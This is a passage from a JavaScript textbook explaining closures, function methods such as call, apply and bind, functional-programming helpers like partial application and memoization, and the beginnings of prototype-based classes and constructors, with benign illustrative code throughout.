Another thing to remember when writing closures is that `this` is a JavaScript keyword, not a variable. As discussed earlier, every function invocation has a `this` value, and a closure cannot access the `this` value of its outer function unless the outer function has saved that value into a variable:

```
var self = this;  // Save this value in a variable for use by nested funcs.
```

The `arguments` binding is similar. This is not a language keyword, but it is automatically declared for every function invocation. Since a closure has its own binding for `arguments`, it cannot access the outer function's arguments array unless the outer function has saved that array into a variable by a different name:

```
var outerArguments = arguments;  // Save for use by nested functions
```

Example 8-5, later in this chapter, defines a closure that uses these techniques to refer to both the `this` and `arguments` values of the outer function.

8.7 Function Properties, Methods, and Constructor

We've seen that functions are values in JavaScript programs. The `typeof` operator returns the string "function" when applied to a function, but functions are really a specialized kind of JavaScript object. Since functions are objects, they can have properties and methods, just like any other object. There is even a `Function()` constructor to create new function objects. The subsections that follow document function properties and methods and the `Function()` constructor. You can also read about these in the reference section.

8.7.1 The length Property

Within the body of a function, `arguments.length` specifies the number of arguments that were passed to the function. The `length` property of a function itself, however, has a different meaning. This read-only property returns the *arity* of the function—the number of parameters it declares in its parameter list, which is usually the number of arguments that the function expects.

The following code defines a function named `check()` that is passed the `arguments` array from another function. It compares `arguments.length` (the number of arguments actually passed) to `arguments.callee.length` (the number expected) to determine whether the function was passed the right number of arguments. If not, it throws an exception. The `check()` function is followed by a test function `f()` that demonstrates how `check()` can be used:

```
// This function uses arguments.callee, so it won't work in strict mode.
function check(args) {
    var actual = args.length;          // The actual number of arguments
    var expected = args.callee.length; // The expected number of arguments
    if (actual !== expected)           // Throw an exception if they differ.
        throw Error("Expected " + expected + "args; got " + actual);
}

function f(x, y, z) {
    check(arguments);  // Check that the actual # of args matches expected #.
    return x + y + z;  // Now do the rest of the function normally.
}
```

8.7.2 The prototype Property

Every function has a `prototype` property that refers to an object known as the *prototype object*. Every function has a different prototype object. When a function is used as a constructor, the newly created object inherits properties from the prototype object. Prototypes and the `prototype` property were discussed in §6.1.3 and will be covered again in Chapter 9.

8.7.3 The call() and apply() Methods

`call()` and `apply()` allow you to indirectly invoke (§8.2.4) a function as if it were a method of some other object. (We used the `call()` method in Example 6-4 to invoke `Object.prototype.toString` on an object whose class we wanted to determine, for example.) The first argument to both `call()` and `apply()` is the object on which the function is to be invoked; this argument is the invocation context and becomes the value of the `this` keyword within the body of the function. To invoke the function `f()` as a method of the object `o` (passing no arguments), you could use either `call()` or `apply()`:

```
f.call(o);
f.apply(o);
```

Either of the lines of code above are similar to the following (which assume that `o` does not already have a property named `m`):

```
o.m = f;     // Make f a temporary method of o.
o.m();       // Invoke it, passing no arguments.
delete o.m;  // Remove the temporary method.
```

In ECMAScript 5 strict mode the first argument to `call()` or `apply()` becomes the value of `this`, even if it is a primitive value or `null` or `undefined`. In ECMAScript 3 and nonstrict mode, a value of `null` or `undefined` is replaced with the global object and a primitive value is replaced with the corresponding wrapper object.

Any arguments to `call()` after the first invocation context argument are the values that are passed to the function that is invoked. For example, to pass two numbers to the function `f()` and invoke it as if it were a method of the object `o`, you could use code like this:

```
f.call(o, 1, 2);
```

The `apply()` method is like the `call()` method, except that the arguments to be passed to the function are specified as an array:

```
f.apply(o, [1,2]);
```

If a function is defined to accept an arbitrary number of arguments, the `apply()` method allows you to invoke that function on the contents of an array of arbitrary length. For example, to find the largest number in an array of numbers, you could use the `apply()` method to pass the elements of the array to the `Math.max()` function:

```
var biggest = Math.max.apply(Math, array_of_numbers);
```

Note that `apply()` works with array-like objects as well as true arrays. In particular, you can invoke a function with the same arguments as the current function by passing the `arguments` array directly to `apply()`. The following code demonstrates:

```
// Replace the method named m of the object o with a version that logs
// messages before and after invoking the original method.
function trace(o, m) {
    var original = o[m];  // Remember original method in the closure.
    o[m] = function() {   // Now define the new method.
        console.log(new Date(), "Entering:", m);      // Log message.
```

```
        var result = original.apply(this, arguments); // Invoke original.
        console.log(new Date(), "Exiting:", m);       // Log message.
        return result;                                // Return result.
    };
}
```

This `trace()` function is passed an object and a method name. It replaces the specified method with a new method that "wraps" additional functionality around the original method. This kind of dynamic alteration of existing methods is sometimes called "monkey-patching."

8.7.4 The bind() Method

The `bind()` method was added in ECMAScript 5, but it is easy to simulate in ECMAScript 3. As its name implies, the primary purpose of `bind()` is to bind a function to an object. When you invoke the `bind()` method on a function `f` and pass an object `o`, the method returns a new function. Invoking the new function (as a function) invokes the original function `f` as a method of `o`. Any arguments you pass to the new function are passed to the original function. For example:

```
function f(y) { return this.x + y; } // This function needs to be bound
var o = { x : 1 };                   // An object we'll bind to
var g = f.bind(o);                   // Calling g(x) invokes o.f(x)
g(2)                                 // => 3
```

It is easy to accomplish this kind of binding with code like the following:

```
// Return a function that invokes f as a method of o, passing all its arguments.
function bind(f, o) {
    if (f.bind) return f.bind(o);     // Use the bind method, if there is one
    else return function() {          // Otherwise, bind it like this
        return f.apply(o, arguments);
    };
}
```

The ECMAScript 5 `bind()` method does more than just bind a function to an object. It also performs partial application: any arguments you pass to `bind()` after the first are bound along with the `this` value. Partial application is a common technique in functional programming and is sometimes called *currying*. Here are some examples of the `bind()` method used for partial application:

```
var sum = function(x,y) { return x + y };     // Return the sum of 2 args
// Create a new function like sum, but with the this value bound to null
// and the 1st argument bound to 1.  This new function expects just one arg.
var succ = sum.bind(null, 1);
succ(2)      // => 3: x is bound to 1, and we pass 2 for the y argument

function f(y,z) { return this.x + y + z };  // Another function that adds
var g = f.bind({x:1}, 2);                   // Bind this and y
g(3)         // => 6: this.x is bound to 1, y is bound to 2 and z is 3
```

We can bind the `this` value and perform partial application in ECMAScript 3. The standard `bind()` method can be simulated with code like that shown in Example 8-5.

Note that we save this method as `Function.prototype.bind`, so that all function objects inherit it. This technique is explained in detail in §9.4.

Example 8-5. A Function.bind() method for ECMAScript 3

```
if (!Function.prototype.bind) {
    Function.prototype.bind = function(o /*, args */) {
        // Save the this and arguments values into variables so we can
        // use them in the nested function below.
        var self = this, boundArgs = arguments;

        // The return value of the bind() method is a function
        return function() {
            // Build up an argument list, starting with any args passed
            // to bind after the first one, and follow those with all args
            // passed to this function.
            var args = [], i;
            for(i = 1; i < boundArgs.length; i++) args.push(boundArgs[i]);
            for(i = 0; i < arguments.length; i++) args.push(arguments[i]);

            // Now invoke self as a method of o, with those arguments
            return self.apply(o, args);
        };
    };
}
```

Notice that the function returned by this `bind()` method is a closure that uses the variables `self` and `boundArgs` declared in the outer function, even though that inner function has been returned from the outer function and is invoked after the outer function has returned.

The `bind()` method defined by ECMAScript 5 does have some features that cannot be simulated with the ECMAScript 3 code shown above. First, the true `bind()` method returns a function object with its `length` property properly set to the arity of the bound function minus the number of bound arguments (but not less than zero). Second, the ECMAScript 5 `bind()` method can be used for partial application of constructor functions. If the function returned by `bind()` is used as a constructor, the `this` passed to `bind()` is ignored, and the original function is invoked as a constructor, with some arguments already bound. Functions returned by the `bind()` method do not have a `prototype` property (the `prototype` property of regular functions cannot be deleted) and objects created when these bound functions are used as constructors inherit from the `prototype` of the original, unbound constructor. Also, a bound constructor works just like the unbound constructor for the purposes of the `instanceof` operator.

8.7.5 The toString() Method

Like all JavaScript objects, functions have a `toString()` method. The ECMAScript spec requires this method to return a string that follows the syntax of the function declaration statement. In practice most (but not all) implementations of this `toString()` method return the complete source code for the function. Built-in functions typically return a string that includes something like "[native code]" as the function body.

8.7.6 The Function() Constructor

Functions are usually defined using the `function` keyword, either in the form of a function definition statement or a function literal expression. But functions can also be defined with the `Function()` constructor. For example:

```
var f = new Function("x", "y", "return x*y;");
```

This line of code creates a new function that is more or less equivalent to a function defined with the familiar syntax:

```
var f = function(x, y) { return x*y; }
```

The `Function()` constructor expects any number of string arguments. The last argument is the text of the function body; it can contain arbitrary JavaScript statements, separated from each other by semicolons. All other arguments to the constructor are strings that specify the parameters names for the function. If you are defining a function that takes no arguments, you simply pass a single string—the function body—to the constructor.

Notice that the `Function()` constructor is not passed any argument that specifies a name for the function it creates. Like function literals, the `Function()` constructor creates anonymous functions.

There are a few points that are important to understand about the `Function()` constructor:

- The `Function()` constructor allows JavaScript functions to be dynamically created and compiled at runtime.
- The `Function()` constructor parses the function body and creates a new function object each time it is called. If the call to the constructor appears within a loop or within a frequently called function, this process can be inefficient. By contrast, nested functions and function definition expressions that appear within loops are not recompiled each time they are encountered.
- A last, very important point about the `Function()` constructor is that the functions it creates do not use lexical scoping; instead, they are always compiled as if they were top-level functions, as the following code demonstrates:

```
var scope = "global";
function constructFunction() {
    var scope = "local";
    return new Function("return scope");  // Does not capture the local scope!
}
// This line returns "global" because the function returned by the
// Function() constructor does not use the local scope.
constructFunction()();  // => "global"
```

The `Function()` constructor is best thought of as a globally-scoped version of `eval()` (see §4.12.2) that defines new variables and functions in its own private scope. You should rarely need to use this constructor in your code.

8.7.7 Callable Objects

We learned in §7.11 that there are "array-like" objects that are not true arrays but can be treated like arrays for most purposes. A similar situation exists for functions. A *callable object* is any object that can be invoked in a function invocation expression. All functions are callable, but not all callable objects are functions.

Callable objects that are not functions are encountered in two situations in today's JavaScript implementations. First, the IE web browser (version 8 and before) implements client-side methods such as `Window.alert()` and `Document.getElementsById()` using callable host objects rather than native Function objects. These methods work the same in IE as they do in other browsers, but they are not actually Function objects. IE9 switches to using true functions, so this kind of callable object will gradually become less common.

The other common form of callable objects are RegExp objects—in many browsers, you can invoke a RegExp object directly as a shortcut for invoking its `exec()` method. This is a completely nonstandard feature of JavaScript that was introduced by Netscape and copied by other vendors for compatibility. Do not write code that relies on the callability of RegExp objects: this feature is likely to be deprecated and removed in the future. The `typeof` operator is not interoperable for callable RegExps. In some browsers it returns "function" and in others it returns "object".

If you want to determine whether an object is a true function object (and has function methods) you can test its *class* attribute (§6.8.2) using the technique shown in Example 6-4:

```
function isFunction(x) {
    return Object.prototype.toString.call(x) === "[object Function]";
}
```

Note that this `isFunction()` function is quite similar to the `isArray()` function shown in §7.10.

8.8 Functional Programming

JavaScript is not a functional programming language like Lisp or Haskell, but the fact that JavaScript can manipulate functions as objects means that we can use functional programming techniques in JavaScript. The ECMAScript 5 array methods such as `map()` and `reduce()` lend themselves particularly well to a functional programming style. The sections that follow demonstrate techniques for functional programming in JavaScript. They are intended as a mind-expanding exploration of the power of JavaScript's functions, not as a prescription for good programming style.[5]

5. If this piques your interest, you may be interested in using (or at least reading about) Oliver Steele's Functional JavaScript library. See *http://osteele.com/sources/javascript/functional/*.

8.8.1 Processing Arrays with Functions

Suppose we have an array of numbers and we want to compute the mean and standard deviation of those values. We might do that in nonfunctional style like this:

```
var data = [1,1,3,5,5];  // This is our array of numbers

// The mean is the sum of the elements divided by the number of elements
var total = 0;
for(var i = 0; i < data.length; i++) total += data[i];
var mean = total/data.length;                  // The mean of our data is 3

// To compute the standard deviation, we first sum the squares of
// the deviation of each element from the mean.
total = 0;
for(var i = 0; i < data.length; i++) {
    var deviation = data[i] - mean;
    total += deviation * deviation;
}
var stddev = Math.sqrt(total/(data.length-1));  // The standard deviation is 2
```

We can perform these same computations in concise functional style using the array methods `map()` and `reduce()` like this (see §7.9 to review these methods):

```
// First, define two simple functions
var sum = function(x,y) { return x+y; };
var square = function(x) { return x*x; };

// Then use those functions with Array methods to compute mean and stddev
var data = [1,1,3,5,5];
var mean = data.reduce(sum)/data.length;
var deviations = data.map(function(x) {return x-mean;});
var stddev = Math.sqrt(deviations.map(square).reduce(sum)/(data.length-1));
```

What if we're using ECMAScript 3 and don't have access to these newer array methods? We can define our own `map()` and `reduce()` functions that use the built-in methods if they exist:

```
// Call the function f for each element of array a and return
// an array of the results.  Use Array.prototype.map if it is defined.
var map = Array.prototype.map
    ? function(a, f) { return a.map(f); }  // Use map method if it exists
    : function(a,f) {                      // Otherwise, implement our own
        var results = [];
        for(var i = 0, len = a.length; i < len; i++) {
            if (i in a) results[i] = f.call(null, a[i], i, a);
        }
        return results;
    };

// Reduce the array a to a single value using the function f and
// optional initial value.  Use Array.prototype.reduce if it is defined.
var reduce = Array.prototype.reduce
    ? function(a, f, initial) {   // If the reduce() method exists.
        if (arguments.length > 2)
            return a.reduce(f, initial);   // If an initial value was passed.
```

```
        else return a.reduce(f);           // Otherwise, no initial value.
    }
    : function(a, f, initial) {   // This algorithm from the ES5 specification
        var i = 0, len = a.length, accumulator;

        // Start with the specified initial value, or the first value in a
        if (arguments.length > 2) accumulator = initial;
        else { // Find the first defined index in the array
            if (len == 0) throw TypeError();
            while(i < len) {
                if (i in a) {
                    accumulator = a[i++];
                    break;
                }
                else i++;
            }
            if (i == len) throw TypeError();
        }

        // Now call f for each remaining element in the array
        while(i < len) {
            if (i in a)
                accumulator = f.call(undefined, accumulator, a[i], i, a);
            i++;
        }

        return accumulator;
    };
```

With these `map()` and `reduce()` functions defined, our code to compute the mean and standard deviation now looks like this:

```
var data = [1,1,3,5,5];
var sum = function(x,y) { return x+y; };
var square = function(x) { return x*x; };
var mean = reduce(data, sum)/data.length;
var deviations = map(data, function(x) {return x-mean;});
var stddev = Math.sqrt(reduce(map(deviations, square), sum)/(data.length-1));
```

8.8.2 Higher-Order Functions

A *higher-order function* is a function that operates on functions, taking one or more functions as arguments and returning a new function. Here is an example:

```
// This higher-order function returns a new function that passes its
// arguments to f and returns the logical negation of f's return value;
function not(f) {
    return function() {                        // Return a new function
        var result = f.apply(this, arguments); // that calls f
        return !result;                        // and negates its result.
    };
}

var even = function(x) { // A function to determine if a number is even
    return x % 2 === 0;
};
```

```
var odd = not(even);     // A new function that does the opposite
[1,1,3,5,5].every(odd);  // => true: every element of the array is odd
```

The `not()` function above is a higher-order function because it takes a function argument and returns a new function. As another example, consider the `mapper()` function below. It takes a function argument and returns a new function that maps one array to another using that function. This function uses the `map()` function defined earlier, and it is important that you understand how the two functions are different:

```
// Return a function that expects an array argument and applies f to
// each element, returning the array of return values.
// Contrast this with the map() function from earlier.
function mapper(f) {
    return function(a) { return map(a, f); };
}

var increment = function(x) { return x+1; };
var incrementer = mapper(increment);
incrementer([1,2,3])  // => [2,3,4]
```

Here is another, more general, example that takes two functions `f` and `g` and returns a new function that computes `f(g())`:

```
// Return a new function that computes f(g(...)).
// The returned function h passes all of its arguments to g, and then passes
// the return value of g to f, and then returns the return value of f.
// Both f and g are invoked with the same this value as h was invoked with.
function compose(f,g) {
    return function() {
        // We use call for f because we're passing a single value and
        // apply for g because we're passing an array of values.
        return f.call(this, g.apply(this, arguments));
    };
}

var square = function(x) { return x*x; };
var sum = function(x,y) { return x+y; };
var squareofsum = compose(square, sum);
squareofsum(2,3)                        // => 25
```

The `partial()` and `memoize()` functions defined in the sections that follow are two more important higher-order functions.

8.8.3 Partial Application of Functions

The `bind()` method of a function `f` (§8.7.4) returns a new function that invokes `f` in a specified context and with a specified set of arguments. We say that it binds the function to an object and partially applies the arguments. The `bind()` method partially applies arguments on the left—that is, the arguments you pass to `bind()` are placed at the start of the argument list that is passed to the original function. But it is also possible to partially apply arguments on the right:

```
// A utility function to convert an array-like object (or suffix of it)
// to a true array.  Used below to convert arguments objects to real arrays.
function array(a, n) { return Array.prototype.slice.call(a, n || 0); }

// The arguments to this function are passed on the left
function partialLeft(f /*, ...*/) {
    var args = arguments;  // Save the outer arguments array
    return function() {    // And return this function
        var a = array(args, 1);         // Start with the outer args from 1 on.
        a = a.concat(array(arguments)); // Then add all the inner arguments.
        return f.apply(this, a);        // Then invoke f on that argument list.
    };
}

// The arguments to this function are passed on the right
function partialRight(f /*, ...*/) {
    var args = arguments;  // Save the outer arguments array
    return function() {    // And return this function
        var a = array(arguments);    // Start with the inner arguments.
        a = a.concat(array(args,1)); // Then add the outer args from 1 on.
        return f.apply(this, a);     // Then invoke f on that argument list.
    };
}

// The arguments to this function serve as a template.  Undefined values
// in the argument list are filled in with values from the inner set.
function partial(f /*, ... */) {
    var args = arguments;  // Save the outer arguments array
    return function() {
        var a = array(args, 1);   // Start with an array of outer args
        var i=0, j=0;
        // Loop through those args, filling in undefined values from inner
        for(; i < a.length; i++)
            if (a[i] === undefined) a[i] = arguments[j++];
        // Now append any remaining inner arguments
        a = a.concat(array(arguments, j))
        return f.apply(this, a);
    };
}

// Here is a function with three arguments
var f = function(x,y,z) { return x * (y - z); };
// Notice how these three partial applications differ
partialLeft(f, 2)(3,4)         // => -2: Bind first argument: 2 * (3 - 4)
partialRight(f, 2)(3,4)        // =>  6: Bind last argument: 3 * (4 - 2)
partial(f, undefined, 2)(3,4)  // => -6: Bind middle argument: 3 * (2 - 4)
```

These partial application functions allow us to easily define interesting functions out of functions we already have defined. Here are some examples:

```
var increment = partialLeft(sum, 1);
var cuberoot = partialRight(Math.pow, 1/3);
String.prototype.first = partial(String.prototype.charAt, 0);
String.prototype.last = partial(String.prototype.substr, -1, 1);
```

Partial application becomes even more interesting when we combine it with other higher-order functions. Here, for example, is a way to define the `not()` function shown above using composition and partial application:

```
var not = partialLeft(compose, function(x) { return !x; });
var even = function(x) { return x % 2 === 0; };
var odd = not(even);
var isNumber = not(isNaN)
```

We can also use composition and partial application to redo our mean and standard deviation calculations in extreme functional style:

```
var data = [1,1,3,5,5];                        // Our data
var sum = function(x,y) { return x+y; };       // Two elementary functions
var product = function(x,y) { return x*y; };
var neg = partial(product, -1);                // Define some others
var square = partial(Math.pow, undefined, 2);
var sqrt = partial(Math.pow, undefined, .5);
var reciprocal = partial(Math.pow, undefined, -1);

// Now compute the mean and standard deviation. This is all function
// invocations with no operators, and it starts to look like Lisp code!
var mean = product(reduce(data, sum), reciprocal(data.length));
var stddev = sqrt(product(reduce(map(data,
                                     compose(square,
                                             partial(sum, neg(mean)))),
                                 sum),
                          reciprocal(sum(data.length,-1))));
```

8.8.4 Memoization

In §8.4.1 we defined a factorial function that cached its previously computed results. In functional programming, this kind of caching is called *memoization*. The code below shows a higher-order function, `memoize()` that accepts a function as its argument and returns a memoized version of the function:

```
// Return a memoized version of f.
// It only works if arguments to f all have distinct string representations.
function memoize(f) {
    var cache = {};  // Value cache stored in the closure.

    return function() {
        // Create a string version of the arguments to use as a cache key.
        var key = arguments.length + Array.prototype.join.call(arguments,",");
        if (key in cache) return cache[key];
        else return cache[key] = f.apply(this, arguments);
    };
}
```

The `memoize()` function creates a new object to use as the cache and assigns this object to a local variable, so that it is private to (in the closure of) the returned function. The returned function converts its arguments array to a string, and uses that string as a property name for the cache object. If a value exists in the cache, it returns it directly.

Otherwise, it calls the specified function to compute the value for these arguments, caches that value, and returns it. Here is how we might use `memoize()`:

```
// Return the Greatest Common Divisor of two integers, using the Euclidian
// algorithm: http://en.wikipedia.org/wiki/Euclidean_algorithm
function gcd(a,b) {  // Type checking for a and b has been omitted
    var t;                          // Temporary variable for swapping values
    if (a < b) t=b, b=a, a=t;       // Ensure that a >= b
    while(b != 0) t=b, b = a%b, a=t;  // This is Euclid's algorithm for GCD
    return a;
}

var gcdmemo = memoize(gcd);
gcdmemo(85, 187)  // => 17

// Note that when we write a recursive function that we will be memoizing,
// we typically want to recurse to the memoized version, not the original.
var factorial = memoize(function(n) {
                            return (n <= 1) ? 1 : n * factorial(n-1);
                        });
factorial(5)      // => 120.  Also caches values for 4, 3, 2 and 1.
```

Download from Wow! eBook <www.wowebook.com>

CHAPTER 9

Classes and Modules

JavaScript objects were covered in Chapter 6. That chapter treated each object as a unique set of properties, different from every other object. It is often useful, however, to define a *class* of objects that share certain properties. Members, or *instances*, of the class have their own properties to hold or define their state, but they also have properties (typically methods) that define their behavior. This behavior is defined by the class and is shared by all instances. Imagine a class named Complex to represent and perform arithmetic on complex numbers, for example. A Complex instance would have properties to hold the real and imaginary parts (state) of the complex number. And the Complex class would define methods to perform addition and multiplication (behavior) of those numbers.

In JavaScript, classes are based on JavaScript's prototype-based inheritance mechanism. If two objects inherit properties from the same prototype object, then we say that they are instances of the same class. JavaScript prototypes and inheritance were covered in §6.1.3 and §6.2.2, and you must be familiar with the material in those sections to understand this chapter. This chapter covers prototypes in §9.1.

If two objects inherit from the same prototype, this typically (but not necessarily) means that they were created and initialized by the same constructor function. Constructors have been covered in §4.6, §6.1.2, and §8.2.3, and this chapter has more in §9.2.

If you're familiar with strongly-typed object-oriented programming languages like Java or C++, you'll notice that JavaScript classes are quite different from classes in those languages. There are some syntactic similarities, and you can emulate many features of "classical" classes in JavaScript, but it is best to understand up front that JavaScript's classes and prototype-based inheritance mechanism are substantially different from the classes and class-based inheritance mechanism of Java and similar languages. §9.3 demonstrates classical classes in JavaScript.

One of the important features of JavaScript classes is that they are dynamically extendable. §9.4 explains how to do this. Classes can be thought of as types, and §9.5 explains several ways to test or determine the class of an object. That section also covers a

programming philosophy known as "duck-typing" that de-emphasizes object type in favor of object capability.

After covering all of these fundamentals of object-oriented programming in JavaScript, the chapter shifts to more practical and less architectural matters. §9.6 includes two nontrivial example classes and demonstrates a number of practical object-oriented techniques for improving those classes. §9.7 demonstrates (with many examples) how to extend or subclass other classes and how to define class hierarchies in JavaScript. §9.8 covers some of the things you can do with classes using the new features of ECMAScript 5.

Defining classes is a way of writing modular, reusable code, and the last section of this chapter talks about JavaScript modules more generally.

9.1 Classes and Prototypes

In JavaScript, a class is a set of objects that inherit properties from the same prototype object. The prototype object, therefore, is the central feature of a class. In Example 6-1 we defined an `inherit()` function that returns a newly created object that inherits from a specified prototype object. If we define a prototype object, and then use `inherit()` to create objects that inherit from it, we have defined a JavaScript class. Usually, the instances of a class require further initialization, and it is common to define a function that creates and initializes the new object. Example 9-1 demonstrates this: it defines a prototype object for a class that represents a range of values and also defines a "factory" function that creates and initializes a new instance of the class.

Example 9-1. A simple JavaScript class

```
// range.js: A class representing a range of values.

// This is a factory function that returns a new range object.
function range(from, to) {
    // Use the inherit() function to create an object that inherits from the
    // prototype object defined below.  The prototype object is stored as
    // a property of this function, and defines the shared methods (behavior)
    // for all range objects.
    var r = inherit(range.methods);

    // Store the start and end points (state) of this new range object.
    // These are noninherited properties that are unique to this object.
    r.from = from;
    r.to = to;

    // Finally return the new object
    return r;
}

// This prototype object defines methods inherited by all range objects.
range.methods = {
    // Return true if x is in the range, false otherwise
```

```
    // This method works for textual and Date ranges as well as numeric.
    includes: function(x) { return this.from <= x && x <= this.to; },
    // Invoke f once for each integer in the range.
    // This method works only for numeric ranges.
    foreach: function(f) {
        for(var x = Math.ceil(this.from); x <= this.to; x++) f(x);
    },
    // Return a string representation of the range
    toString: function() { return "(" + this.from + "..." + this.to + ")"; }
};

// Here are example uses of a range object.
var r = range(1,3);      // Create a range object
r.includes(2);           // => true: 2 is in the range
r.foreach(console.log);  // Prints 1 2 3
console.log(r);          // Prints (1...3)
```

There are a few things worth noting in the code of Example 9-1. This code defines a factory function `range()` for creating new range objects. Notice that we use a property of this `range()` function `range.methods` as a convenient place to store the prototype object that defines the class. There is nothing special or idiomatic about putting the prototype object here. Second, notice that the `range()` function defines `from` and `to` properties on each range object. These are the unshared, noninherited properties that define the unique state of each individual range object. Finally, notice that the shared, inherited methods defined in `range.methods` all use these `from` and `to` properties, and in order to refer to them, they use the `this` keyword to refer to the object through which they were invoked. This use of `this` is a fundamental characteristic of the methods of any class.

9.2 Classes and Constructors

Example 9-1 demonstrates one way to define a JavaScript class. It is not the idiomatic way to do so, however, because it did not define a *constructor*. A constructor is a function designed for the initialization of newly created objects. Constructors are invoked using the `new` keyword as described in §8.2.3. Constructor invocations using `new` automatically create the new object, so the constructor itself only needs to initialize the state of that new object. The critical feature of constructor invocations is that the `prototype` property of the constructor is used as the prototype of the new object. This means that all objects created with the same constructor inherit from the same object and are therefore members of the same class. Example 9-2 shows how we could alter the range class of Example 9-1 to use a constructor function instead of a factory function:

Example 9-2. A Range class using a constructor

```
// range2.js: Another class representing a range of values.

// This is a constructor function that initializes new Range objects.
// Note that it does not create or return the object. It just initializes this.
```

```
function Range(from, to) {
    // Store the start and end points (state) of this new range object.
    // These are noninherited properties that are unique to this object.
    this.from = from;
    this.to = to;
}

// All Range objects inherit from this object.
// Note that the property name must be "prototype" for this to work.
Range.prototype = {
    // Return true if x is in the range, false otherwise
    // This method works for textual and Date ranges as well as numeric.
    includes: function(x) { return this.from <= x && x <= this.to; },
    // Invoke f once for each integer in the range.
    // This method works only for numeric ranges.
    foreach: function(f) {
        for(var x = Math.ceil(this.from); x <= this.to; x++) f(x);
    },
    // Return a string representation of the range
    toString: function() { return "(" + this.from + "..." + this.to + ")"; }
};

// Here are example uses of a range object
var r = new Range(1,3);   // Create a range object
r.includes(2);            // => true: 2 is in the range
r.foreach(console.log);   // Prints 1 2 3
console.log(r);           // Prints (1...3)
```

It is worth comparing Example 9-1 and Example 9-2 fairly carefully and noting the differences between these two techniques for defining classes. First, notice that we renamed the `range()` factory function to `Range()` when we converted it to a constructor. This is a very common coding convention: constructor functions define, in a sense, classes, and classes have names that begin with capital letters. Regular functions and methods have names that begin with lowercase letters.

Next, notice that the `Range()` constructor is invoked (at the end of the example) with the `new` keyword while the `range()` factory function was invoked without it. Example 9-1 uses regular function invocation (§8.2.1) to create the new object and Example 9-2 uses constructor invocation (§8.2.3). Because the `Range()` constructor is invoked with `new`, it does not have to call `inherit()` or take any action to create a new object. The new object is automatically created before the constructor is called, and it is accessible as the `this` value. The `Range()` constructor merely has to initialize `this`. Constructors do not even have to return the newly created object. Constructor invocation automatically creates a new object, invokes the constructor as a method of that object, and returns the new object. The fact that constructor invocation is so different from regular function invocation is another reason that we give constructors names that start with capital letters. Constructors are written to be invoked as constructors, with the `new` keyword, and they usually won't work properly if they are invoked as regular functions. A naming convention that keeps constructor functions distinct from regular functions helps programmers to know when to use `new`.

Another critical difference between Example 9-1 and Example 9-2 is the way the prototype object is named. In the first example, the prototype was `range.methods`. This was a convenient and descriptive name, but arbitrary. In the second example, the prototype is `Range.prototype`, and this name is mandatory. An invocation of the `Range()` constructor automatically uses `Range.prototype` as the prototype of the new Range object.

Finally, also note the things that do not change between Example 9-1 and Example 9-2: the range methods are defined and invoked in the same way for both classes.

9.2.1 Constructors and Class Identity

As we've seen, the prototype object is fundamental to the identity of a class: two objects are instances of the same class if and only if they inherit from the same prototype object. The constructor function that initializes the state of a new object is not fundamental: two constructor functions may have `prototype` properties that point to the same prototype object. Then both constructors can be used to create instances of the same class.

Even through constructors are not as fundamental as prototypes, the constructor serves as the public face of a class. Most obviously, the name of the constructor function is usually adopted as the name of the class. We say, for example, that the `Range()` constructor creates Range objects. More fundamentally, however, constructors are used with the `instanceof` operator when testing objects for membership in a class. If we have an object `r` and want to know if it is a Range object, we can write:

```
r instanceof Range   // returns true if r inherits from Range.prototype
```

The `instanceof` operator does not actually check whether `r` was initialized by the `Range` constructor. It checks whether it inherits from `Range.prototype`. Nevertheless, the `instanceof` syntax reinforces the use of constructors as the public identity of a class. We'll see the `instanceof` operator again later in this chapter.

9.2.2 The constructor Property

In Example 9-2 we set `Range.prototype` to a new object that contained the methods for our class. Although it was convenient to express those methods as properties of a single object literal, it was not actually necessary to create a new object. Any JavaScript function can be used as a constructor, and constructor invocations need a `prototype` property. Therefore, every JavaScript function (except functions returned by the ECMAScript 5 `Function.bind()` method) automatically has a `prototype` property. The value of this property is an object that has a single nonenumerable `constructor` property. The value of the `constructor` property is the function object:

```
var F = function() {}; // This is a function object.
var p = F.prototype;   // This is the prototype object associated with it.
var c = p.constructor; // This is the function associated with the prototype.
c === F                // => true: F.prototype.constructor==F for any function
```

The existence of this predefined prototype object with its `constructor` property means that objects typically inherit a `constructor` property that refers to their constructor. Since constructors serve as the public identity of a class, this constructor property gives the class of an object:

```
var o = new F();       // Create an object o of class F
o.constructor === F    // => true: the constructor property specifies the class
```

Figure 9-1 illustrates this relationship between the constructor function, its prototype object, the back reference from the prototype to the constructor, and the instances created with the constructor.

Figure 9-1. A constructor function, its prototype, and instances

Notice that Figure 9-1 uses our `Range()` constructor as an example. In fact, however, the Range class defined in Example 9-2 overwrites the predefined `Range.prototype` object with an object of its own. And the new prototype object it defines does not have a `constructor` property. So instances of the Range class, as defined, do not have a `constructor` property. We can remedy this problem by explicitly adding a constructor to the prototype:

```
Range.prototype = {
    constructor: Range,  // Explicitly set the constructor back-reference
    includes: function(x) { return this.from <= x && x <= this.to; },
    foreach: function(f) {
        for(var x = Math.ceil(this.from); x <= this.to; x++) f(x);
    },
    toString: function() { return "(" + this.from + "..." + this.to + ")"; }
};
```

Another common technique is to use the predefined prototype object with its `constructor` property, and add methods to it one at a time:

```
// Extend the predefined Range.prototype object so we don't overwrite
// the automatically created Range.prototype.constructor property.
Range.prototype.includes = function(x) { return this.from<=x && x<=this.to; };
Range.prototype.foreach = function(f) {
    for(var x = Math.ceil(this.from); x <= this.to; x++) f(x);
};
Range.prototype.toString = function() {
    return "(" + this.from + "..." + this.to + ")";
};
```

9.3 Java-Style Classes in JavaScript

If you have programmed in Java or a similar strongly-typed object-oriented language, you may be accustomed to thinking about four kinds of class *members*:

Instance fields
: These are the per-instance properties or variables that hold the state of individual objects.

Instance methods
: These are methods that are shared by all instances of the class that are invoked through individual instances.

Class fields
: These are properties or variables associated with the class rather than the instances of the class.

Class methods
: These are methods that are associated with the class rather than with instances.

One way JavaScript differs from Java is that its functions are values, and there is no hard distinction between methods and fields. If the value of a property is a function, that property defines a method; otherwise, it is just an ordinary property or "field." Despite this difference, we can simulate each of Java's four categories of class members in JavaScript. In JavaScript, there are three different objects involved in any class definition (see Figure 9-1), and the properties of these three objects act like different kinds of class members:

Constructor object
: As we've noted, the constructor function (an object) defines a name for a JavaScript class. Properties you add to this constructor object serve as class fields and class methods (depending on whether the property values are functions or not).

Prototype object
: The properties of this object are inherited by all instances of the class, and properties whose values are functions behave like instance methods of the class.

Instance object
: Each instance of a class is an object in its own right, and properties defined directly on an instance are not shared by any other instances. Nonfunction properties defined on instances behave as the instance fields of the class.

